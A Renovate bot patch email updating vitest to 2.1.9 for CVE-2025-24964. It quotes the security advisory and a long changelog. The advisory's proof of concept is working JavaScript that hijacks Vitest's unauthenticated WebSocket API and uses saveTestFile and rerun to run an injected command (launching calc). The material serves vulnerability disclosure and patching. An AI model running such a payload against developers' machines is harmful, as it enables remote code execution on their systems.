From 1d62b1a5bad83ce17da8cb5e5fa0c6c2e5600867 Mon Sep 17 00:00:00 2001 From: "renovate[bot]" <29139614+renovate[bot]@users.noreply.github.com> Date: Thu, 6 Feb 2025 10:01:56 +0400 Subject: [PATCH] chore(deps): update dependency vitest to v2.1.9 [security] (#307) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit This PR contains the following updates: | Package | Change | Age | Adoption | Passing | Confidence | |---|---|---|---|---|---| | [vitest](https://redirect.github.com/vitest-dev/vitest) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/vitest)) | [`2.1.8` -> `2.1.9`](https://renovatebot.com/diffs/npm/vitest/2.1.8/2.1.9) | [![age](https://developer.mend.io/api/mc/badges/age/npm/vitest/2.1.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/vitest/2.1.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/vitest/2.1.8/2.1.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vitest/2.1.8/2.1.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | ### GitHub Vulnerability Alerts #### [CVE-2025-24964](https://redirect.github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq) ### Summary Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks. ### Details When [`api` option](https://vitest.dev/config/#api) is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks. https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46 This WebSocket server has `saveTestFile` API that can edit a test file and `rerun` API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the `saveTestFile` API and then running that file by calling the `rerun` API. https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76 ### PoC 1. Open Vitest UI. 2. Access a malicious web site with the script below. 3. If you have `calc` executable in `PATH` env var (you'll likely have it if you are running on Windows), that application will be executed. ```js // code from https://github.com/WebReflection/flatted const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p { console.log(e.data) }) ws.addEventListener('open', () => { ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] })) const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles" // edit file content to inject command execution ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "saveTestFile", a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"] })) // rerun the tests to run the injected command execution code ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "rerun", a: [testFilePath] })) }) ``` ### Impact This vulnerability can result in remote code execution for users that are using Vitest serve API. --- ### Release Notes
vitest-dev/vitest (vitest) ### [`v2.1.9`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v2.1.9) [Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v2.1.8...v2.1.9) #####    🚨 Breaking Changes - Remove the empty suite from the runner  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5435](https://redirect.github.com/vitest-dev/vitest/issues/5435) [(dbbbe)](https://redirect.github.com/vitest-dev/vitest/commit/dbbbe430) - Remove --segfault-retry  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5514](https://redirect.github.com/vitest-dev/vitest/issues/5514) [(ed60e)](https://redirect.github.com/vitest-dev/vitest/commit/ed60e405) - Run suite hooks in a stack  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5609](https://redirect.github.com/vitest-dev/vitest/issues/5609) [(1277d)](https://redirect.github.com/vitest-dev/vitest/commit/1277dc1e) - Enable `coverage.ignoreEmptyLines` by default  -  by [@​AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/5543](https://redirect.github.com/vitest-dev/vitest/issues/5543) [(31994)](https://redirect.github.com/vitest-dev/vitest/commit/31994942) - Add correct location and snapshot fields in json reporter  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5434](https://redirect.github.com/vitest-dev/vitest/issues/5434) [(bcccc)](https://redirect.github.com/vitest-dev/vitest/commit/bcccce6d) - Update dependency chai to v5  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5135](https://redirect.github.com/vitest-dev/vitest/issues/5135) [(73646)](https://redirect.github.com/vitest-dev/vitest/commit/73646b63) - Remove watchExclude  -  by [@​patak-dev](https://redirect.github.com/patak-dev) in [https://github.com/vitest-dev/vitest/issues/5177](https://redirect.github.com/vitest-dev/vitest/issues/5177) [(d7371)](https://redirect.github.com/vitest-dev/vitest/commit/d7371eae) - Change default `pool` to `'forks'`  -  by [@​AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/5047](https://redirect.github.com/vitest-dev/vitest/issues/5047) [(7f8f9)](https://redirect.github.com/vitest-dev/vitest/commit/7f8f9c0c) - Don't exit process if config failed  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5715](https://redirect.github.com/vitest-dev/vitest/issues/5715) [(f232f)](https://redirect.github.com/vitest-dev/vitest/commit/f232fdd6) - `--merge-reports` to support coverage  -  by [@​AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/5736](https://redirect.github.com/vitest-dev/vitest/issues/5736) [(b7438)](https://redirect.github.com/vitest-dev/vitest/commit/b7438b9b) - Add promise-based return assertions, do not auto-resolve returned promises  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5749](https://redirect.github.com/vitest-dev/vitest/issues/5749) [(5f710)](https://redirect.github.com/vitest-dev/vitest/commit/5f710182) - Do not exit process if global setup has failed  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5726](https://redirect.github.com/vitest-dev/vitest/issues/5726) [(ddb09)](https://redirect.github.com/vitest-dev/vitest/commit/ddb09eb1) - Add meta to json output  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5802](https://redirect.github.com/vitest-dev/vitest/issues/5802) [(dd754)](https://redirect.github.com/vitest-dev/vitest/commit/dd754c10) - Rename indexScripts to orchestratorScripts  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5842](https://redirect.github.com/vitest-dev/vitest/issues/5842) [(49f34)](https://redirect.github.com/vitest-dev/vitest/commit/49f34ec4) - **vitest**: Add "vitest list" API to print collected tests without running them  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6013](https://redirect.github.com/vitest-dev/vitest/issues/6013) [(583dd)](https://redirect.github.com/vitest-dev/vitest/commit/583dd8a9) #####    🚀 Features - Pretty print diffs coming from cause  -  by [@​dubzzz](https://redirect.github.com/dubzzz) in [https://github.com/vitest-dev/vitest/issues/5660](https://redirect.github.com/vitest-dev/vitest/issues/5660) [(6faf8)](https://redirect.github.com/vitest-dev/vitest/commit/6faf8f84) - Allow import statement as vi.mock path for better IDE support  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5690](https://redirect.github.com/vitest-dev/vitest/issues/5690) [(a99a1)](https://redirect.github.com/vitest-dev/vitest/commit/a99a14c1) - Remove deprecated options  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5696](https://redirect.github.com/vitest-dev/vitest/issues/5696) [(5c308)](https://redirect.github.com/vitest-dev/vitest/commit/5c308edc) - Add blob reporter  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5663](https://redirect.github.com/vitest-dev/vitest/issues/5663) [(e2053)](https://redirect.github.com/vitest-dev/vitest/commit/e20538a3) - Add expect.poll utility  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5708](https://redirect.github.com/vitest-dev/vitest/issues/5708) [(e2e0f)](https://redirect.github.com/vitest-dev/vitest/commit/e2e0ff46) - Add browser.ui option  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5771](https://redirect.github.com/vitest-dev/vitest/issues/5771) [(a5033)](https://redirect.github.com/vitest-dev/vitest/commit/a50330ee) - Add median to `--output-json`  -  by [@​Joristdh](https://redirect.github.com/Joristdh) in [https://github.com/vitest-dev/vitest/issues/5745](https://redirect.github.com/vitest-dev/vitest/issues/5745) [(0766b)](https://redirect.github.com/vitest-dev/vitest/commit/0766b7f7) - Allow augmenting config.test.env  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5784](https://redirect.github.com/vitest-dev/vitest/issues/5784) [(b2469)](https://redirect.github.com/vitest-dev/vitest/commit/b24691ef) - Implement module mocking in browser mode  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5765](https://redirect.github.com/vitest-dev/vitest/issues/5765) [(7b2f6)](https://redirect.github.com/vitest-dev/vitest/commit/7b2f64cf) - Allow configuring expect options in the config  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5729](https://redirect.github.com/vitest-dev/vitest/issues/5729) [(fc53f)](https://redirect.github.com/vitest-dev/vitest/commit/fc53f563) - Add an option to print console stack trace  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5720](https://redirect.github.com/vitest-dev/vitest/issues/5720) [(e4fe6)](https://redirect.github.com/vitest-dev/vitest/commit/e4fe6f51) - Add browser frame to UI  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5808](https://redirect.github.com/vitest-dev/vitest/issues/5808) [(3796d)](https://redirect.github.com/vitest-dev/vitest/commit/3796dd7e) - Image type add bmp  -  by [@​btea](https://redirect.github.com/btea) in [https://github.com/vitest-dev/vitest/issues/5921](https://redirect.github.com/vitest-dev/vitest/issues/5921) [(98f9b)](https://redirect.github.com/vitest-dev/vitest/commit/98f9b7ab) - Add an option to return base64 from page.screenshot  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5993](https://redirect.github.com/vitest-dev/vitest/issues/5993) [(be323)](https://redirect.github.com/vitest-dev/vitest/commit/be323176) - Expose `parseAst`, `parseAstAsync` from vite  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) [(f645e)](https://redirect.github.com/vitest-dev/vitest/commit/f645e48c) - Introduce experimental reported tasks  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6149](https://redirect.github.com/vitest-dev/vitest/issues/6149) [(13d85)](https://redirect.github.com/vitest-dev/vitest/commit/13d85bd1) - **api**: - Make spec into a class instead of a tuple  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6355](https://redirect.github.com/vitest-dev/vitest/issues/6355) [(874a1)](https://redirect.github.com/vitest-dev/vitest/commit/874a121e) - **browser**: - Add commands to communicate betweens server and the browser  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5097](https://redirect.github.com/vitest-dev/vitest/issues/5097) [(aa431)](https://redirect.github.com/vitest-dev/vitest/commit/aa431f4d) - Do not reload the page during watch mode  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5810](https://redirect.github.com/vitest-dev/vitest/issues/5810) [(e5b9a)](https://redirect.github.com/vitest-dev/vitest/commit/e5b9a0be) - Support changing the viewport  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5811](https://redirect.github.com/vitest-dev/vitest/issues/5811) [(71851)](https://redirect.github.com/vitest-dev/vitest/commit/718512d8) - Add browser iframe mouse interaction  -  by [@​userquin](https://redirect.github.com/userquin) in [https://github.com/vitest-dev/vitest/issues/5815](https://redirect.github.com/vitest-dev/vitest/issues/5815) [(f29b9)](https://redirect.github.com/vitest-dev/vitest/commit/f29b9d40) - Support `click` event  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5777](https://redirect.github.com/vitest-dev/vitest/issues/5777) [(839c3)](https://redirect.github.com/vitest-dev/vitest/commit/839c39f0) - Rename none provider to preview, make it default  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5826](https://redirect.github.com/vitest-dev/vitest/issues/5826) [(18310)](https://redirect.github.com/vitest-dev/vitest/commit/1831008b) - Run tests in parallel in headless mode, add `page.screenshot` method  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5853](https://redirect.github.com/vitest-dev/vitest/issues/5853) [(81c42)](https://redirect.github.com/vitest-dev/vitest/commit/81c42fc8) - Implement several `userEvent` methods, add `fill` and `dragAndDrop` events  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5882](https://redirect.github.com/vitest-dev/vitest/issues/5882) [(4dbea)](https://redirect.github.com/vitest-dev/vitest/commit/4dbea4ae) - Introduce `expect.dom` method and bundle `jest-dom` matchers with `@vitest/browser`  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5910](https://redirect.github.com/vitest-dev/vitest/issues/5910) [(3a96a)](https://redirect.github.com/vitest-dev/vitest/commit/3a96a3d0) - Expose CDP in the browser  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5938](https://redirect.github.com/vitest-dev/vitest/issues/5938) [(bec43)](https://redirect.github.com/vitest-dev/vitest/commit/bec434cb) - Add "init" command for browser tests  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5960](https://redirect.github.com/vitest-dev/vitest/issues/5960) [(49e97)](https://redirect.github.com/vitest-dev/vitest/commit/49e973cb) - Add an option to take screenshots if the browser test fails  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5975](https://redirect.github.com/vitest-dev/vitest/issues/5975) [(154cb)](https://redirect.github.com/vitest-dev/vitest/commit/154cb22d) - Add `tripleClick` to interactive api  -  by [@​userquin](https://redirect.github.com/userquin) in [https://github.com/vitest-dev/vitest/issues/5987](https://redirect.github.com/vitest-dev/vitest/issues/5987) [(200a4)](https://redirect.github.com/vitest-dev/vitest/commit/200a4349) - Playwright provider doesn't allow resizing the browser viewport  -  by [@​userquin](https://redirect.github.com/userquin) and [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5984](https://redirect.github.com/vitest-dev/vitest/issues/5984) [(ff978)](https://redirect.github.com/vitest-dev/vitest/commit/ff978e58) - Allow preview and open in the editor screenshot error from ui  -  by [@​userquin](https://redirect.github.com/userquin) in [https://github.com/vitest-dev/vitest/issues/6113](https://redirect.github.com/vitest-dev/vitest/issues/6113) [(2d620)](https://redirect.github.com/vitest-dev/vitest/commit/2d62051f) - Move page.config to server.config, add more docs  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6252](https://redirect.github.com/vitest-dev/vitest/issues/6252) [(af2b8)](https://redirect.github.com/vitest-dev/vitest/commit/af2b813c) - Make iframe scalable, improve documentation  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6257](https://redirect.github.com/vitest-dev/vitest/issues/6257) [(74ca1)](https://redirect.github.com/vitest-dev/vitest/commit/74ca11a4) - Introduce built-in locators  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6084](https://redirect.github.com/vitest-dev/vitest/issues/6084) [(3347f)](https://redirect.github.com/vitest-dev/vitest/commit/3347f83e) - Support v8 coverage  -  by [@​AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/6273](https://redirect.github.com/vitest-dev/vitest/issues/6273) [(34199)](https://redirect.github.com/vitest-dev/vitest/commit/34199bdf) - Support `userEvent.upload` in playwright provider  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6442](https://redirect.github.com/vitest-dev/vitest/issues/6442) [(cf148)](https://redirect.github.com/vitest-dev/vitest/commit/cf148645) - Support `--inspect`  -  by [@​AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/6433](https://redirect.github.com/vitest-dev/vitest/issues/6433) [(0499a)](https://redirect.github.com/vitest-dev/vitest/commit/0499a315) - Support `--inspect-brk`  -  by [@​AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/6434](https://redirect.github.com/vitest-dev/vitest/issues/6434) [(7ab0f)](https://redirect.github.com/vitest-dev/vitest/commit/7ab0f4a8) - Allow custom HTML path, respect plugins `transformIndexHtml`  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6725](https://redirect.github.com/vitest-dev/vitest/issues/6725) [(16902)](https://redirect.github.com/vitest-dev/vitest/commit/169028f0) - **cli**: - Extend existing list command to output only a list of file names  -  by [@​Ma-hawaj](https://redirect.github.com/Ma-hawaj) and [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6392](https://redirect.github.com/vitest-dev/vitest/issues/6392) [(008f0)](https://redirect.github.com/vitest-dev/vitest/commit/008f00b2) - **config**: - Allow percentage value for workers option  -  by [@​syi0808](https://redirect.github.com/syi0808) in [https://github.com/vitest-dev/vitest/issues/5982](https://redirect.github.com/vitest-dev/vitest/issues/5982) [(b1a27)](https://redirect.github.com/vitest-dev/vitest/commit/b1a27d40) - **coverage**: - Add `thresholds..100` option  -  by [@​thor-juhasz](https://redirect.github.com/thor-juhasz) and [@​AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/6174](https://redirect.github.com/vitest-dev/vitest/issues/6174) [(f6845)](https://redirect.github.com/vitest-dev/vitest/commit/f68453f8) - Add `--exclude-after-remap`  -  by [@​AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/6309](https://redirect.github.com/vitest-dev/vitest/issues/6309) [(5932a)](https://redirect.github.com/vitest-dev/vitest/commit/5932a7f9) - **experimental**: - Expose vite on the test project as a separate field  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) [(bcc59)](https://redirect.github.com/vitest-dev/vitest/commit/bcc59088) - **mocker**: - Introduce [@​vitest/mocker](https://redirect.github.com/vitest/mocker) package, allow `{ spy: true }` instead of a factory  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6289](https://redirect.github.com/vitest-dev/vitest/issues/6289) [(95f02)](https://redirect.github.com/vitest-dev/vitest/commit/95f0203f) - **runner**: - Implement `test.for`  -  by [@​hi-ogawa](https://redirect.github.com/hi-ogawa) and [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5861](https://redirect.github.com/vitest-dev/vitest/issues/5861) [(c2380)](https://redirect.github.com/vitest-dev/vitest/commit/c238072f) - **spy**: - Collect mock.contexts  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5955](https://redirect.github.com/vitest-dev/vitest/issues/5955) [(3b31a)](https://redirect.github.com/vitest-dev/vitest/commit/3b31a56d) - **ui**: - Render tests in a tree  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5807](https://redirect.github.com/vitest-dev/vitest/issues/5807) [(7900f)](https://redirect.github.com/vitest-dev/vitest/commit/7900f9f8) - Load module graph on tab selection  -  by [@​userquin](https://redirect.github.com/userquin) in [https://github.com/vitest-dev/vitest/issues/5844](https://redirect.github.com/vitest-dev/vitest/issues/5844) [(b117e)](https://redirect.github.com/vitest-dev/vitest/commit/b117e875) - Replace navigation tree with test explorer  -  by [@​userquin](https://redirect.github.com/userquin) in [https://github.com/vitest-dev/vitest/issues/5907](https://redirect.github.com/vitest-dev/vitest/issues/5907) [(45dfc)](https://redirect.github.com/vitest-dev/vitest/commit/45dfc95a) - Add initializing explorer logic  -  by [@​userquin](https://redirect.github.com/userquin) in [https://github.com/vitest-dev/vitest/issues/5941](https://redirect.github.com/vitest-dev/vitest/issues/5941) [(c31c4)](https://redirect.github.com/vitest-dev/vitest/commit/c31c41c7) - Add action to explorer item to show the test/suite line in the source code tab  -  by [@​userquin](https://redirect.github.com/userquin) and **Anjorin Damilare** in [https://github.com/vitest-dev/vitest/issues/5948](https://redirect.github.com/vitest-dev/vitest/issues/5948) [(7ec29)](https://redirect.github.com/vitest-dev/vitest/commit/7ec298eb) - Show all suites/tests when parent matches  -  by [@​userquin](https://redirect.github.com/userquin) in [https://github.com/vitest-dev/vitest/issues/6106](https://redirect.github.com/vitest-dev/vitest/issues/6106) [(840e0)](https://redirect.github.com/vitest-dev/vitest/commit/840e02f1) - **vitest**: - Add "provide" option  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6253](https://redirect.github.com/vitest-dev/vitest/issues/6253) [(4409d)](https://redirect.github.com/vitest-dev/vitest/commit/4409d779) - Add return type and promisable mockFactory  -  by [@​syi0808](https://redirect.github.com/syi0808) and [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6139](https://redirect.github.com/vitest-dev/vitest/issues/6139) [(f5e0b)](https://redirect.github.com/vitest-dev/vitest/commit/f5e0b987) - Add `vi.advanceTimersToNextFrame`  -  by [@​bnjm](https://redirect.github.com/bnjm) and [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6347](https://redirect.github.com/vitest-dev/vitest/issues/6347) [(8ff63)](https://redirect.github.com/vitest-dev/vitest/commit/8ff63560) - Allow env to be stubbed to undefined  -  by [@​JSanchezIO](https://redirect.github.com/JSanchezIO) and [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6359](https://redirect.github.com/vitest-dev/vitest/issues/6359) [(c3b27)](https://redirect.github.com/vitest-dev/vitest/commit/c3b2757c) - **ws-client**: - Allow change reactive for state, filesMap and idMap  -  by [@​userquin](https://redirect.github.com/userquin) in [https://github.com/vitest-dev/vitest/issues/5906](https://redirect.github.com/vitest-dev/vitest/issues/5906) [(e6020)](https://redirect.github.com/vitest-dev/vitest/commit/e6020b9c) #####    🐞 Bug Fixes - Print console statements in vmThreads  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5678](https://redirect.github.com/vitest-dev/vitest/issues/5678) [(34a80)](https://redirect.github.com/vitest-dev/vitest/commit/34a80b39) - Repeatable `--exclude` option  -  by [@​fregante](https://redirect.github.com/fregante) in [https://github.com/vitest-dev/vitest/issues/5782](https://redirect.github.com/vitest-dev/vitest/issues/5782) [(d6700)](https://redirect.github.com/vitest-dev/vitest/commit/d6700bbd) - Remove browser.fileParallelism  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5790](https://redirect.github.com/vitest-dev/vitest/issues/5790) [(b881e)](https://redirect.github.com/vitest-dev/vitest/commit/b881e88b) - Install UI icons  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) [(b84f1)](https://redirect.github.com/vitest-dev/vitest/commit/b84f1721) - Remove process.exit if workspace project failed to be created  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5804](https://redirect.github.com/vitest-dev/vitest/issues/5804) [(a820e)](https://redirect.github.com/vitest-dev/vitest/commit/a820e7ac) - Vi.waitFor/vi.waitUntil interval is now cleared after it times out  -  by [@​pedro00dk](https://redirect.github.com/pedro00dk) in [https://github.com/vitest-dev/vitest/issues/5875](https://redirect.github.com/vitest-dev/vitest/issues/5875) [(04107)](https://redirect.github.com/vitest-dev/vitest/commit/041076e7) - ToJSON recursive error serialization  -  by [@​eddienubes](https://redirect.github.com/eddienubes) in [https://github.com/vitest-dev/vitest/issues/5848](https://redirect.github.com/vitest-dev/vitest/issues/5848) and [https://github.com/vitest-dev/vitest/issues/5884](https://redirect.github.com/vitest-dev/vitest/issues/5884) [(8d55d)](https://redirect.github.com/vitest-dev/vitest/commit/8d55d6bd) - Print error properties only in verbose reporter  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5917](https://redirect.github.com/vitest-dev/vitest/issues/5917) [(2bd8d)](https://redirect.github.com/vitest-dev/vitest/commit/2bd8d9d6) - Use TTY reporter when running in Deno  -  by [@​marvinhagemeister](https://redirect.github.com/marvinhagemeister) in [https://github.com/vitest-dev/vitest/issues/5972](https://redirect.github.com/vitest-dev/vitest/issues/5972) [(e0f45)](https://redirect.github.com/vitest-dev/vitest/commit/e0f45cb5) - Don't override uppercase  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) [(caef4)](https://redirect.github.com/vitest-dev/vitest/commit/caef40a0) - Clear screen and scrollback on iTerm2  -  by [@​kxalex](https://redirect.github.com/kxalex) in [https://github.com/vitest-dev/vitest/issues/5978](https://redirect.github.com/vitest-dev/vitest/issues/5978) [(d7f23)](https://redirect.github.com/vitest-dev/vitest/commit/d7f23d08) - Include pretty-format in [@​vitest/runner](https://redirect.github.com/vitest/runner) for optimization on npm  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) [(42bd4)](https://redirect.github.com/vitest-dev/vitest/commit/42bd4a25) - Transpile esnext to node18 to support newest JS and TS features  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/4409](https://redirect.github.com/vitest-dev/vitest/issues/4409) [(8f65a)](https://redirect.github.com/vitest-dev/vitest/commit/8f65ae90) - `--inspect-brk` stop on Windows  -  by [@​AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/6110](https://redirect.github.com/vitest-dev/vitest/issues/6110) [(f8519)](https://redirect.github.com/vitest-dev/vitest/commit/f851982e) - One-line environment options  -  by [@​hahanein](https://redirect.github.com/hahanein) in [https://github.com/vitest-dev/vitest/issues/5105](https://redirect.github.com/vitest-dev/vitest/issues/5105) [(38269)](https://redirect.github.com/vitest-dev/vitest/commit/38269415) - Resolve assets imported with `require`  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6159](https://redirect.github.com/vitest-dev/vitest/issues/6159) [(807a2)](https://redirect.github.com/vitest-dev/vitest/commit/807a2cbc) - Show a difference between string characters if both values are strings  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6191](https://redirect.github.com/vitest-dev/vitest/issues/6191) [(29176)](https://redirect.github.com/vitest-dev/vitest/commit/291766d7) - `testNamePattern` adds leading space  -  by [@​AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/6186](https://redirect.github.com/vitest-dev/vitest/issues/6186) [(073a5)](https://redirect.github.com/vitest-dev/vitest/commit/073a50c9) - Correctly resolve nested mocks with `index` file  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6266](https://redirect.github.com/vitest-dev/vitest/issues/6266) [(081cf)](https://redirect.github.com/vitest-dev/vitest/commit/081cfe03) - Don't panic when coverage.reporter is a string  -  by [@​sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6267](https://redirect.github.com/vitest-dev/vitest/issues/6267) [(7b37d)](https://redirect.github.com/vitest-dev/vitest/commit/7b37d27b) - Align RawMatcherFn type definition with Jest  -  by [@​wheresrhys](https://redirect.github.com/wheresrhys) in [https://github.com/vitest-dev/vitest/issues/6351](https://redirect.github.com/vitest-dev/vitest/issues/6351) [(d09f0)](https://redirect.github.com/vitest-dev/vitest/commit/d09f00c7) - Cjs build of vite node server  -  by [@​AkaraChen](https://redirect.github.com/AkaraChen) in [https://github.com/vitest-dev/vitest/issues/6389](https://redirect.github.com/vitest-dev/vitest/issues/6389) 